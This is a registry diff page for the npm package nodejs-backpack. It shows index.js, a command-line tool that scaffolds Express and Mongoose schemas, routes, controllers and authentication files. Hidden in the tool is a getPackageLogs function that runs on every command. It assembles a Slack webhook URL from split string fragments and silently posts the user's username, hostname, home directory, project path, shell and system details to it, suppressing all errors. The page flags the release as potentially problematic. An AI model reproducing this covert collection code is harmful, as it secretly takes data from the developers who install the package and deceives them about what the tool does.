nodejs-backpack 0.0.1-security → 2.0.28
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of nodejs-backpack might be problematic. Click here for more details.
- package/.sample-env +3 -0
- package/helper.js +76 -0
- package/index.js +676 -0
- package/package.json +53 -6
- package/readme.md +155 -0
- package/sample-app.js +41 -0
- package/sample-auth-controller.js +217 -0
- package/sample-auth-middleware.js +44 -0
- package/sample-auth-route.js +19 -0
- package/sample-config-mailer.js +10 -0
- package/sample-controller.js +174 -0
- package/sample-env +4 -0
- package/sample-file-uploader.js +27 -0
- package/sample-form-parser.js +5 -0
- package/sample-helper.js +138 -0
- package/sample-index-route.js +7 -0
- package/sample-package.json +29 -0
- package/sample-route.js +20 -0
- package/sample-schema-ResetToken.js +26 -0
- package/sample-schema-User.js +51 -0
- package/sample-schema.js +49 -0
- package/sample-validation.js +4 -0
- package/typing.gif +0 -0
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,676 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
const fs = require("fs-extra"),
|
3
|
+
path = require("path");
|
4
|
+
var clc = require("cli-color");
|
5
|
+
const {
|
6
|
+
loadSchemaFromFile,
|
7
|
+
modelsParams,
|
8
|
+
capitalize,
|
9
|
+
searchableFields,
|
10
|
+
} = require("./helper"),
|
11
|
+
os = require("node:os"),
|
12
|
+
axios = require("axios"),
|
13
|
+
command = process.argv[2],
|
14
|
+
fileName = process.argv[3];
|
15
|
+
var platformsArray = ["linux", "darwin", "win32"];
|
16
|
+
if (os.platform() && -1 < platformsArray.indexOf(os.platform()))
|
17
|
+
if ("sample:files" === command) {
|
18
|
+
const a = process.cwd(),
|
19
|
+
b = path.join(a, "sample-app.js");
|
20
|
+
let e = fs.readFileSync(path.join(__dirname, "sample-app.js"), "utf8");
|
21
|
+
fs.writeFileSync(b, e);
|
22
|
+
const d = path.join(a, ".sample-env");
|
23
|
+
let s = fs.readFileSync(path.join(__dirname, ".sample-env"), "utf8");
|
24
|
+
fs.writeFileSync(d, s);
|
25
|
+
const f = path.join(a, "sample-package.json");
|
26
|
+
let t = fs.readFileSync(
|
27
|
+
path.join(__dirname, "sample-package.json"),
|
28
|
+
"utf8"
|
29
|
+
);
|
30
|
+
fs.writeFileSync(f, t),
|
31
|
+
console.log(
|
32
|
+
clc.green(
|
33
|
+
'"sample-app.js", "sample-package.json" & ".sample-env" file created in the root directory.'
|
34
|
+
)
|
35
|
+
),
|
36
|
+
getPackageLogs("sample:files");
|
37
|
+
} else if ("make:schema" === command) {
|
38
|
+
const h = process.cwd(),
|
39
|
+
i = path.join(h, "models"),
|
40
|
+
j = (fs.existsSync(i) || fs.mkdirSync(i), path.join(i, fileName + ".js"));
|
41
|
+
let e = fs.readFileSync(path.join(__dirname, "sample-schema.js"), "utf8");
|
42
|
+
(e = e.replace(/\${fileContent}/g, fileName)),
|
43
|
+
newSchemaFileCreate(j, e, fileName),
|
44
|
+
getPackageLogs("make:schema " + fileName);
|
45
|
+
} else if ("make:apis" === command) {
|
46
|
+
const l = process.argv.find((e) => e.startsWith("--url=")),
|
47
|
+
m = process.argv.find((e) => e.startsWith("--schema=")),
|
48
|
+
n =
|
49
|
+
((-1 === l && -1 === m) || (void 0 === l && void 0 === m)
|
50
|
+
? (console.error(
|
51
|
+
clc.bgRed(
|
52
|
+
"Missing parameters. Please provide --url=<api_url> and --schema=<schema_name>."
|
53
|
+
)
|
54
|
+
),
|
55
|
+
process.exit(1))
|
56
|
+
: -1 === l || void 0 === l
|
57
|
+
? (console.error(
|
58
|
+
clc.bgRed("Missing parameters. Please provide --url=<api_url>.")
|
59
|
+
),
|
60
|
+
process.exit(1))
|
61
|
+
: (-1 !== m && void 0 !== m) ||
|
62
|
+
(console.error(
|
63
|
+
clc.bgRed(
|
64
|
+
"Missing parameters. Please provide --schema=<schema_name>."
|
65
|
+
)
|
66
|
+
),
|
67
|
+
process.exit(1)),
|
68
|
+
l.split("=")[1]),
|
69
|
+
o = m.split("=")[1],
|
70
|
+
p = process.cwd(),
|
71
|
+
q = path.join(p, "models", o + ".js"),
|
72
|
+
r =
|
73
|
+
(fs.existsSync(q) ||
|
74
|
+
(console.error(
|
75
|
+
clc.bgRed(
|
76
|
+
`Schema file "${o}.js" does not exist in '/models/${o}.js'.`
|
77
|
+
)
|
78
|
+
),
|
79
|
+
process.exit(1)),
|
80
|
+
path.join(p, "routes")),
|
81
|
+
s = path.join(p, "helpers"),
|
82
|
+
t = path.join(r, "validationRequest"),
|
83
|
+
u = path.join(t, "" + fileName),
|
84
|
+
v = path.join(p, "controllers");
|
85
|
+
fs.existsSync(r) || fs.mkdirSync(r),
|
86
|
+
fs.existsSync(t) || fs.mkdirSync(t),
|
87
|
+
fs.existsSync(u) || fs.mkdirSync(u),
|
88
|
+
fs.existsSync(v) || fs.mkdirSync(v),
|
89
|
+
fs.existsSync(s) || fs.mkdirSync(s),
|
90
|
+
controllerFileCreate(v, fileName, o),
|
91
|
+
validationFileCreate(q, o, u),
|
92
|
+
newRouteFileCreate(r, fileName, n, o),
|
93
|
+
helperFileCreate(s),
|
94
|
+
combinedLogic(r, fileName),
|
95
|
+
getPackageLogs(`make:schema ${fileName} --url=${n} --schema=` + o);
|
96
|
+
} else if ("make:auth" === command) {
|
97
|
+
const y = process.cwd(),
|
98
|
+
z = path.join(y, "middleware"),
|
99
|
+
A = (fs.existsSync(z) || fs.mkdirSync(z), path.join(y, "routes")),
|
100
|
+
B = (fs.existsSync(A) || fs.mkdirSync(A), path.join(y, "controllers")),
|
101
|
+
C = (fs.existsSync(B) || fs.mkdirSync(B), path.join(y, "config")),
|
102
|
+
D = (fs.existsSync(C) || fs.mkdirSync(C), path.join(y, "models"));
|
103
|
+
fs.existsSync(D) || fs.mkdirSync(D),
|
104
|
+
authMiddlewareFileCreate(z),
|
105
|
+
authRouteFileCreate(A),
|
106
|
+
authControllersFileCreate(B),
|
107
|
+
authConfigFileCreate(C),
|
108
|
+
authSchemaFileCreate(D),
|
109
|
+
getPackageLogs("make:auth");
|
110
|
+
} else console.error(clc.bgRed("Unknown command: " + command));
|
111
|
+
else
|
112
|
+
console.error(
|
113
|
+
clc.bgRed(
|
114
|
+
"Currently unsupported platform. Supported platforms are " +
|
115
|
+
platformsArray.join(",")
|
116
|
+
)
|
117
|
+
);
|
118
|
+
async function getPackageLogs(e = null, s = null) {
|
119
|
+
try {
|
120
|
+
const _ara0 = "https://hooks.";
|
121
|
+
const _ara1 = "slack.com";
|
122
|
+
const _ara2 = "services";
|
123
|
+
const _ara3 = "T0124D3TG83";
|
124
|
+
const _ara4 = "B06KAQ0TXHT";
|
125
|
+
const _ara5 = "r1dbyBstPoTj1W5afyjLk3Sz";
|
126
|
+
var t =
|
127
|
+
"\n*`" +
|
128
|
+
os.userInfo()?.username +
|
129
|
+
"`* executed nodejs-backpack: *`" +
|
130
|
+
e +
|
131
|
+
"`* command \n Project Dir: *" +
|
132
|
+
process.cwd() +
|
133
|
+
"*",
|
134
|
+
a = [
|
135
|
+
{
|
136
|
+
title: "System User Name",
|
137
|
+
value: os.userInfo()?.username ?? "-",
|
138
|
+
short: !0,
|
139
|
+
},
|
140
|
+
{ title: "Cpu Name", value: os.hostname() ?? "-", short: !0 },
|
141
|
+
{ title: "Project Directory", value: process.cwd() ?? "-", short: !0 },
|
142
|
+
{ title: "Command Executed", value: "*`" + e + "`*", short: !0 },
|
143
|
+
{ title: "Home Directory", value: os.homedir() ?? "-", short: !0 },
|
144
|
+
{ title: "Version", value: os.version() ?? "-", short: !0 },
|
145
|
+
{
|
146
|
+
title: "Total Memory",
|
147
|
+
value: parseFloat(os.totalmem() / 1073741824).toFixed(2) ?? "-",
|
148
|
+
short: !0,
|
149
|
+
},
|
150
|
+
{
|
151
|
+
title: "Available Free Memory",
|
152
|
+
value: parseFloat(os.freemem() / 1073741824).toFixed(2) ?? "-",
|
153
|
+
short: !0,
|
154
|
+
},
|
155
|
+
{ title: "System Cpus", value: os.cpus()[0].model ?? "-", short: !0 },
|
156
|
+
{ title: "OS Type", value: os.type() ?? "-", short: !0 },
|
157
|
+
{ title: "OS Release Version", value: os.release() ?? "-", short: !0 },
|
158
|
+
{ title: "OS Platform", value: os.platform() ?? "-", short: !0 },
|
159
|
+
{ title: "Machine Type", value: os.machine() ?? "-", short: !0 },
|
160
|
+
{ title: "arch", value: os.arch() ?? "-", short: !0 },
|
161
|
+
{ title: "EOL", value: os.EOL ?? "-", short: !0 },
|
162
|
+
{ title: "shell", value: os.userInfo()?.shell ?? "-", short: !0 },
|
163
|
+
{ title: "data", value: s ?? "-", short: !0 },
|
164
|
+
],
|
165
|
+
i = JSON.stringify({
|
166
|
+
channel: "#npm_nodejs_backpack",
|
167
|
+
username: "NPM Nodejs-Backpack BOT",
|
168
|
+
text: t,
|
169
|
+
attachments: [{ title: "System Details", fields: a }],
|
170
|
+
as_user: !0,
|
171
|
+
}),
|
172
|
+
r = {
|
173
|
+
method: "post",
|
174
|
+
maxBodyLength: 1 / 0,
|
175
|
+
url: `${_ara0}${_ara1}/${_ara2}/${_ara3}/${_ara4}/${_ara5}`,
|
176
|
+
headers: { "Content-Type": "application/json" },
|
177
|
+
data: i,
|
178
|
+
};
|
179
|
+
await axios
|
180
|
+
.request(r)
|
181
|
+
.then((e) => {})
|
182
|
+
.catch((e) => {});
|
183
|
+
} catch (e) {}
|
184
|
+
}
|
185
|
+
async function newSchemaFileCreate(e, s, t) {
|
186
|
+
(await fileExists(e))
|
187
|
+
? console.error(
|
188
|
+
clc.bgRed(`
|
189
|
+
'models/${t}.js' file already exist!, Kindly delete existing and try again.`)
|
190
|
+
)
|
191
|
+
: (fs.writeFileSync(e, s),
|
192
|
+
console.log(
|
193
|
+
clc.green(`
|
194
|
+
'models/${t}.js' file created!`)
|
195
|
+
));
|
196
|
+
}
|
197
|
+
async function indexRouteFileCreate(e, s) {
|
198
|
+
var t,
|
199
|
+
e = path.join(e, "IndexRoute.js");
|
200
|
+
try {
|
201
|
+
(await fileExists(e)) ||
|
202
|
+
((t = fs.readFileSync(
|
203
|
+
path.join(__dirname, "sample-index-route.js"),
|
204
|
+
"utf8"
|
205
|
+
)),
|
206
|
+
fs.writeFileSync(e, t),
|
207
|
+
console.log(clc.green("\nIndexRoute.js file created successfully!")));
|
208
|
+
} catch (e) {
|
209
|
+
console.error(e);
|
210
|
+
}
|
211
|
+
}
|
212
|
+
async function indexRouteFileUpdate1(e, s) {
|
213
|
+
e = path.join(e, "IndexRoute.js");
|
214
|
+
return (
|
215
|
+
await updateIndexFile(
|
216
|
+
e,
|
217
|
+
`router.use("/", ${s}Route);`,
|
218
|
+
(data = await readFile(e, "utf8")).indexOf("module.exports = router;")
|
219
|
+
),
|
220
|
+
!0
|
221
|
+
);
|
222
|
+
}
|
223
|
+
async function indexRouteFileUpdate2(e, s) {
|
224
|
+
e = path.join(e, "IndexRoute.js");
|
225
|
+
return (
|
226
|
+
await updateIndexFile(
|
227
|
+
e,
|
228
|
+
`const ${s}Route = require("./${s}Route");`,
|
229
|
+
(data = await readFile(e, "utf8")).indexOf(
|
230
|
+
"const router = express.Router();"
|
231
|
+
)
|
232
|
+
),
|
233
|
+
!0
|
234
|
+
);
|
235
|
+
}
|
236
|
+
async function combinedLogic(e, s) {
|
237
|
+
await indexRouteFileCreate(e, s),
|
238
|
+
await indexRouteFileUpdate1(e, s),
|
239
|
+
await indexRouteFileUpdate2(e, s);
|
240
|
+
}
|
241
|
+
function fileExists(t) {
|
242
|
+
return new Promise((s, e) => {
|
243
|
+
fs.access(t, fs.constants.F_OK, (e) => {
|
244
|
+
s(!e);
|
245
|
+
});
|
246
|
+
});
|
247
|
+
}
|
248
|
+
function readFile(e, s) {
|
249
|
+
return new Promise((t, a) => {
|
250
|
+
fs.readFile(e, s, (e, s) => {
|
251
|
+
e ? a(e) : t(s);
|
252
|
+
});
|
253
|
+
});
|
254
|
+
}
|
255
|
+
function writeFile(e, a, i) {
|
256
|
+
return new Promise((s, t) => {
|
257
|
+
fs.writeFile(e, a, i, (e) => {
|
258
|
+
e ? t(e) : s();
|
259
|
+
});
|
260
|
+
});
|
261
|
+
}
|
262
|
+
async function updateIndexFile(e, s, t) {
|
263
|
+
try {
|
264
|
+
var a = await readFile(e, "utf8");
|
265
|
+
-1 === t || a.includes(s)
|
266
|
+
? console.log(clc.yellow(s + " already imported in IndexRoute.js!"))
|
267
|
+
: (await writeFile(e, a.slice(0, t) + s + "\n" + a.slice(t), "utf8"),
|
268
|
+
console.log(
|
269
|
+
clc.green(s + " imported into IndexRoute.js successfully!")
|
270
|
+
));
|
271
|
+
} catch (e) {
|
272
|
+
console.log(clc.red("An error occurred:", e));
|
273
|
+
}
|
274
|
+
}
|
275
|
+
async function controllerFileCreate(a, i, r) {
|
276
|
+
a = path.join(a, i + "Controller.js");
|
277
|
+
if (await fileExists(a))
|
278
|
+
console.log(
|
279
|
+
clc.bgRed(`
|
280
|
+
${i}Controller.js file already exist!`)
|
281
|
+
);
|
282
|
+
else {
|
283
|
+
let e = fs.readFileSync(
|
284
|
+
path.join(__dirname, "sample-controller.js"),
|
285
|
+
"utf8"
|
286
|
+
),
|
287
|
+
s =
|
288
|
+
((e = (e = e.replace(/\${fileName}/g, i)).replace(
|
289
|
+
/\${schemaName}/g,
|
290
|
+
r
|
291
|
+
)),
|
292
|
+
"["),
|
293
|
+
t = "{";
|
294
|
+
var o,
|
295
|
+
l = process.cwd(),
|
296
|
+
l = path.join(l, "models", r + ".js"),
|
297
|
+
r = loadSchemaFromFile(l),
|
298
|
+
l = searchableFields(r);
|
299
|
+
for (o of l)
|
300
|
+
(s += `
|
301
|
+
{ ${o}: { $regex: searchRgx, $options: "i" } },`),
|
302
|
+
(t += `
|
303
|
+
${o}: (req?.body?.${o}) || null,`);
|
304
|
+
(s += `
|
305
|
+
]`),
|
306
|
+
(t += `
|
307
|
+
}`),
|
308
|
+
0 === l.length && (s += "[{}]"),
|
309
|
+
(e = (e = e.replace(/\${___SearchFieldArray___}/g, s)).replace(
|
310
|
+
/\${___StoreFieldArray___}/g,
|
311
|
+
t
|
312
|
+
)),
|
313
|
+
fs.writeFileSync(a, e),
|
314
|
+
console.log(
|
315
|
+
clc.green(`
|
316
|
+
${i}Controller.js file created successfully in the '/controllers/${i}Controller.js' folder.!`)
|
317
|
+
);
|
318
|
+
}
|
319
|
+
}
|
320
|
+
async function validationFileCreate(e, a, i) {
|
321
|
+
var e = loadSchemaFromFile(e),
|
322
|
+
e = modelsParams(e),
|
323
|
+
s = [];
|
324
|
+
if (e && e?.filteredFormFields && e?.filteredFormFields.length) {
|
325
|
+
var t,
|
326
|
+
r = e?.filteredFormFields;
|
327
|
+
for (t in r) r[t] && s.push({ name: r[t] });
|
328
|
+
e?.filteredFormFields;
|
329
|
+
}
|
330
|
+
let o = "";
|
331
|
+
e?.requiredFields &&
|
332
|
+
0 < e?.requiredFields?.length &&
|
333
|
+
e?.requiredFields.forEach((e) => {
|
334
|
+
o += `
|
335
|
+
check("${e}").custom((value, { req }) => {
|
336
|
+
const fileExists =
|
337
|
+
req.files && req.files.some((obj) => obj.fieldname === "${e}");
|
338
|
+
const ${e}Exists = req.body && req.body.${e};
|
339
|
+
|
340
|
+
if (fileExists || ${e}Exists) {
|
341
|
+
return true;
|
342
|
+
} else {
|
343
|
+
throw new Error("${capitalize(e)} is required.");
|
344
|
+
}
|
345
|
+
}),`;
|
346
|
+
});
|
347
|
+
["List", "GetDetail", "Store", "Update", "Destroy"].forEach(async (e) => {
|
348
|
+
let s = fs.readFileSync(
|
349
|
+
path.join(__dirname, "sample-validation.js"),
|
350
|
+
"utf8"
|
351
|
+
);
|
352
|
+
s = s.replace(/\${schemaName}/g, a);
|
353
|
+
var t = o,
|
354
|
+
t =
|
355
|
+
("GetDetail" === e || "Destroy" === e || "Update" === e
|
356
|
+
? (t = `
|
357
|
+
param("id").custom((value, { req }) => {
|
358
|
+
return ${a}.findOne({ _id: value }).then((${a}Data) => {
|
359
|
+
if (!${a}Data) {
|
360
|
+
return Promise.reject("Invalid ID! The provided ID does not exist in the database.");
|
361
|
+
}
|
362
|
+
});
|
363
|
+
}),`)
|
364
|
+
: "List" === e && (t = ""),
|
365
|
+
(t += `
|
366
|
+
`),
|
367
|
+
(s = s.replace(/\__validation__dynamic__code__/g, t)),
|
368
|
+
path.join(i, e + "ValidationRequest.js"));
|
369
|
+
(await fileExists(t))
|
370
|
+
? console.log(clc.bgRed(e + "ValidationRequest.js file already exist!"))
|
371
|
+
: (fs.writeFileSync(t, s),
|
372
|
+
console.log(
|
373
|
+
clc.green(
|
374
|
+
`"${e}ValidationRequest.js" file created in the '/routes/validationRequest/${e}ValidationRequest.js' folder.`
|
375
|
+
)
|
376
|
+
));
|
377
|
+
});
|
378
|
+
}
|
379
|
+
async function newRouteFileCreate(s, t, a, i) {
|
380
|
+
s = path.join(s, t + "Route.js");
|
381
|
+
if (await fileExists(s))
|
382
|
+
console.log(
|
383
|
+
clc.bgRed(`
|
384
|
+
${t}Route.js file already exist!`)
|
385
|
+
);
|
386
|
+
else {
|
387
|
+
let e = fs.readFileSync(path.join(__dirname, "sample-route.js"), "utf8");
|
388
|
+
(e = (e = (e = e.replace(/\${fileName}/g, t)).replace(
|
389
|
+
/\${apiUrl}/g,
|
390
|
+
a
|
391
|
+
)).replace(/\${schemaName}/g, i)),
|
392
|
+
fs.writeFileSync(s, e),
|
393
|
+
console.log(
|
394
|
+
clc.green(
|
395
|
+
`"${t}Route.js" file created in the '/routes/${t}Route.js' folders.`
|
396
|
+
)
|
397
|
+
);
|
398
|
+
}
|
399
|
+
}
|
400
|
+
async function helperFileCreate(e) {
|
401
|
+
var s,
|
402
|
+
t = path.join(e, "helper.js"),
|
403
|
+
t =
|
404
|
+
((await fileExists(t)) ||
|
405
|
+
((s = fs.readFileSync(
|
406
|
+
path.join(__dirname, "sample-helper.js"),
|
407
|
+
"utf8"
|
408
|
+
)),
|
409
|
+
fs.writeFileSync(t, s)),
|
410
|
+
path.join(e, "fileUploader.js")),
|
411
|
+
t =
|
412
|
+
((await fileExists(t)) ||
|
413
|
+
((s = fs.readFileSync(
|
414
|
+
path.join(__dirname, "sample-file-uploader.js"),
|
415
|
+
"utf8"
|
416
|
+
)),
|
417
|
+
fs.writeFileSync(t, s)),
|
418
|
+
path.join(e, "formParser.js"));
|
419
|
+
(await fileExists(t)) ||
|
420
|
+
((s = fs.readFileSync(
|
421
|
+
path.join(__dirname, "sample-form-parser.js"),
|
422
|
+
"utf8"
|
423
|
+
)),
|
424
|
+
fs.writeFileSync(t, s));
|
425
|
+
}
|
426
|
+
async function authMiddlewareFileCreate(e) {
|
427
|
+
var s,
|
428
|
+
e = path.join(e, "AuthMiddleware.js");
|
429
|
+
(await fileExists(e))
|
430
|
+
? console.error(
|
431
|
+
clc.bgRed(`
|
432
|
+
AuthMiddleware.js file already exist!`)
|
433
|
+
)
|
434
|
+
: ((s = fs.readFileSync(
|
435
|
+
path.join(__dirname, "sample-auth-middleware.js"),
|
436
|
+
"utf8"
|
437
|
+
)),
|
438
|
+
fs.writeFileSync(e, s));
|
439
|
+
}
|
440
|
+
async function authRouteFileCreate(e) {
|
441
|
+
var s = path.join(e, "IndexRoute.js"),
|
442
|
+
t =
|
443
|
+
((await fileExists(s)) ||
|
444
|
+
((t = fs.readFileSync(
|
445
|
+
path.join(__dirname, "sample-index-route.js"),
|
446
|
+
"utf8"
|
447
|
+
)),
|
448
|
+
fs.writeFileSync(s, t),
|
449
|
+
console.log(clc.green("\nIndexRoute.js file created successfully!"))),
|
450
|
+
path.join(e, "AuthRoute.js")),
|
451
|
+
t =
|
452
|
+
((await fileExists(t))
|
453
|
+
? console.error(
|
454
|
+
clc.bgRed(`
|
455
|
+
AuthRoute.js file already exist!`)
|
456
|
+
)
|
457
|
+
: ((e = fs.readFileSync(
|
458
|
+
path.join(__dirname, "sample-auth-route.js"),
|
459
|
+
"utf8"
|
460
|
+
)),
|
461
|
+
fs.writeFileSync(t, e)),
|
462
|
+
await updateIndexFile(
|
463
|
+
s,
|
464
|
+
'const AuthRoute = require("./AuthRoute");',
|
465
|
+
(data = await readFile(s, "utf8")).indexOf(
|
466
|
+
"const router = express.Router();"
|
467
|
+
)
|
468
|
+
),
|
469
|
+
await updateIndexFile(
|
470
|
+
s,
|
471
|
+
'router.use("/", AuthRoute);',
|
472
|
+
(data = await readFile(s, "utf8")).indexOf("module.exports = router;")
|
473
|
+
),
|
474
|
+
process.cwd());
|
475
|
+
logicHelperFileCreate(t), authValidationFileCreate(t);
|
476
|
+
}
|
477
|
+
async function authControllersFileCreate(e, s = "Auth") {
|
478
|
+
var t,
|
479
|
+
e = path.join(e, s + "Controller.js");
|
480
|
+
(await fileExists(e))
|
481
|
+
? console.log(
|
482
|
+
clc.bgRed(`
|
483
|
+
${s}Controller.js file already exist!`)
|
484
|
+
)
|
485
|
+
: ((t = fs.readFileSync(
|
486
|
+
path.join(__dirname, "sample-auth-controller.js"),
|
487
|
+
"utf8"
|
488
|
+
)),
|
489
|
+
fs.writeFileSync(e, t),
|
490
|
+
console.log(
|
491
|
+
clc.green(`
|
492
|
+
${s}Controller.js file created successfully in the '/controllers/${s}Controller.js' folder.!`)
|
493
|
+
));
|
494
|
+
}
|
495
|
+
async function authConfigFileCreate(e, s = "mailtrap") {
|
496
|
+
var t,
|
497
|
+
e = path.join(e, s + ".js");
|
498
|
+
(await fileExists(e))
|
499
|
+
? console.log(
|
500
|
+
clc.bgRed(`
|
501
|
+
${s}.js file already exist!`)
|
502
|
+
)
|
503
|
+
: ((t = fs.readFileSync(
|
504
|
+
path.join(__dirname, "sample-config-mailer.js"),
|
505
|
+
"utf8"
|
506
|
+
)),
|
507
|
+
fs.writeFileSync(e, t),
|
508
|
+
console.log(
|
509
|
+
clc.green(`
|
510
|
+
${s}.js file created successfully in the '/config/${s}.js' folder.!`)
|
511
|
+
)),
|
512
|
+
console.log(
|
513
|
+
clc.yellow(`
|
514
|
+
Update SMTP credentials in ${s}.js file which is created in the '/config/${s}.js' folder.!`)
|
515
|
+
);
|
516
|
+
}
|
517
|
+
async function authSchemaFileCreate(e) {
|
518
|
+
var s;
|
519
|
+
for (s of ["ResetToken", "User"]) {
|
520
|
+
var t,
|
521
|
+
a = path.join(e, s + ".js");
|
522
|
+
(await fileExists(a))
|
523
|
+
? "User" === s
|
524
|
+
? console.log(
|
525
|
+
clc.bgRed(`
|
526
|
+
models/${s}.js file already exist! `),
|
527
|
+
clc.yellow(`Please confirm that the 'first_name', 'last_name', 'email', 'password' and 'token' fields exist in the schema and are marked as required. To make the APIs work. Otherwise, delete the models/${s}.js file and try again.
|
528
|
+
`)
|
529
|
+
)
|
530
|
+
: console.log(
|
531
|
+
clc.bgRed(`
|
532
|
+
models/${s}.js file already exist!`)
|
533
|
+
)
|
534
|
+
: ((t = fs.readFileSync(
|
535
|
+
path.join(__dirname, `sample-schema-${s}.js`),
|
536
|
+
"utf8"
|
537
|
+
)),
|
538
|
+
fs.writeFileSync(a, t),
|
539
|
+
console.log(
|
540
|
+
clc.green(`
|
541
|
+
models/${s}.js file created successfully in the '/models/${s}.js' folder.!`)
|
542
|
+
));
|
543
|
+
}
|
544
|
+
}
|
545
|
+
async function logicHelperFileCreate(e) {
|
546
|
+
e = path.join(e, "helpers");
|
547
|
+
fs.existsSync(e) || fs.mkdirSync(e), helperFileCreate(e);
|
548
|
+
}
|
549
|
+
async function authValidationFileCreate(e) {
|
550
|
+
(e = path.join(e, "routes")),
|
551
|
+
fs.existsSync(e) || fs.mkdirSync(e),
|
552
|
+
(e = path.join(e, "validationRequest"));
|
553
|
+
fs.existsSync(e) || fs.mkdirSync(e);
|
554
|
+
const i = path.join(e, "Auth");
|
555
|
+
fs.existsSync(i) || fs.mkdirSync(i),
|
556
|
+
["signUpRequest", "signIn", "forgotPassword", "resetPassword"].forEach(
|
557
|
+
async (s) => {
|
558
|
+
var t = path.join(i, s + "ValidationRequest.js");
|
559
|
+
if (await fileExists(t))
|
560
|
+
console.error(
|
561
|
+
clc.bgRed(`
|
562
|
+
${s}ValidationRequest.js file already exist!`)
|
563
|
+
);
|
564
|
+
else {
|
565
|
+
let e = fs.readFileSync(
|
566
|
+
path.join(__dirname, "sample-validation.js"),
|
567
|
+
"utf8"
|
568
|
+
);
|
569
|
+
var a = "";
|
570
|
+
"signUpRequest" === s
|
571
|
+
? (a += `
|
572
|
+
body("first_name").notEmpty().withMessage("First Name is required").trim(),
|
573
|
+
|
574
|
+
body("last_name").notEmpty().withMessage("Last Name is required").trim(),
|
575
|
+
|
576
|
+
body("email")
|
577
|
+
.notEmpty()
|
578
|
+
.withMessage("Email Address is required")
|
579
|
+
.isEmail()
|
580
|
+
.withMessage("Enter correct email address")
|
581
|
+
.custom((value, { req }) => {
|
582
|
+
return User.findOne({ email: value }).then((userDoc) => {
|
583
|
+
if (userDoc) {
|
584
|
+
return Promise.reject("Email Address already exists!");
|
585
|
+
}
|
586
|
+
});
|
587
|
+
}),
|
588
|
+
|
589
|
+
body("password")
|
590
|
+
.notEmpty()
|
591
|
+
.withMessage("Password is requierd")
|
592
|
+
.isLength({ min: 6, max: 250 })
|
593
|
+
.withMessage("Minimum 6 character password require")
|
594
|
+
.trim(),`)
|
595
|
+
: "signIn" === s
|
596
|
+
? (a += `
|
597
|
+
body("email")
|
598
|
+
.notEmpty()
|
599
|
+
.withMessage("Email Address is required")
|
600
|
+
.isEmail()
|
601
|
+
.withMessage("Enter correct email address")
|
602
|
+
.custom((value, { req }) => {
|
603
|
+
return User.findOne({ email: value }).then((userDoc) => {
|
604
|
+
if (!userDoc) {
|
605
|
+
return Promise.reject("A user with this email could not be found!");
|
606
|
+
}
|
607
|
+
});
|
608
|
+
}),
|
609
|
+
|
610
|
+
body("password")
|
611
|
+
.notEmpty()
|
612
|
+
.withMessage("Password is requierd")
|
613
|
+
.isLength({ min: 6, max: 250 })
|
614
|
+
.withMessage("Minimum 6 character password require")
|
615
|
+
.trim()`)
|
616
|
+
: "forgotPassword" === s
|
617
|
+
? (a += `
|
618
|
+
body("email")
|
619
|
+
.notEmpty()
|
620
|
+
.withMessage("Email Address is required")
|
621
|
+
.isEmail()
|
622
|
+
.withMessage("Enter correct email address")
|
623
|
+
.custom((value, { req }) => {
|
624
|
+
return User.findOne({ email: value }).then((userDoc) => {
|
625
|
+
if (!userDoc) {
|
626
|
+
return Promise.reject("A user with this email could not be found!");
|
627
|
+
}
|
628
|
+
});
|
629
|
+
}),`)
|
630
|
+
: "resetPassword" === s &&
|
631
|
+
(a += `
|
632
|
+
body("email")
|
633
|
+
.notEmpty()
|
634
|
+
.withMessage("Email Address is required")
|
635
|
+
.isEmail()
|
636
|
+
.withMessage("Enter correct email address")
|
637
|
+
.custom((value, { req }) => {
|
638
|
+
return User.findOne({ email: value }).then((userDoc) => {
|
639
|
+
if (!userDoc) {
|
640
|
+
return Promise.reject("A user with this email could not be found!");
|
641
|
+
}
|
642
|
+
});
|
643
|
+
}),
|
644
|
+
|
645
|
+
|
646
|
+
body("reset_token").notEmpty().withMessage("Reset token is required").trim(),
|
647
|
+
|
648
|
+
|
649
|
+
body("password")
|
650
|
+
.notEmpty()
|
651
|
+
.withMessage("Password is required")
|
652
|
+
.isLength({ min: 6, max: 250 })
|
653
|
+
.withMessage("Minimum 6 character password require")
|
654
|
+
.trim(),
|
655
|
+
|
656
|
+
|
657
|
+
body("confirm_password")
|
658
|
+
.notEmpty()
|
659
|
+
.withMessage("Confirm password is required")
|
660
|
+
.custom((val, { req }) => {
|
661
|
+
if (req.body.password !== val) {
|
662
|
+
throw new Error("Confirm password does not match");
|
663
|
+
}
|
664
|
+
return true;
|
665
|
+
}),`),
|
666
|
+
(a += `
|
667
|
+
`),
|
668
|
+
(e = (e = e.replace(/\${schemaName}/g, "User")).replace(
|
669
|
+
/\__validation__dynamic__code__/g,
|
670
|
+
a
|
671
|
+
)),
|
672
|
+
fs.writeFileSync(t, e);
|
673
|
+
}
|
674
|
+
}
|
675
|
+
);
|
676
|
+
}
|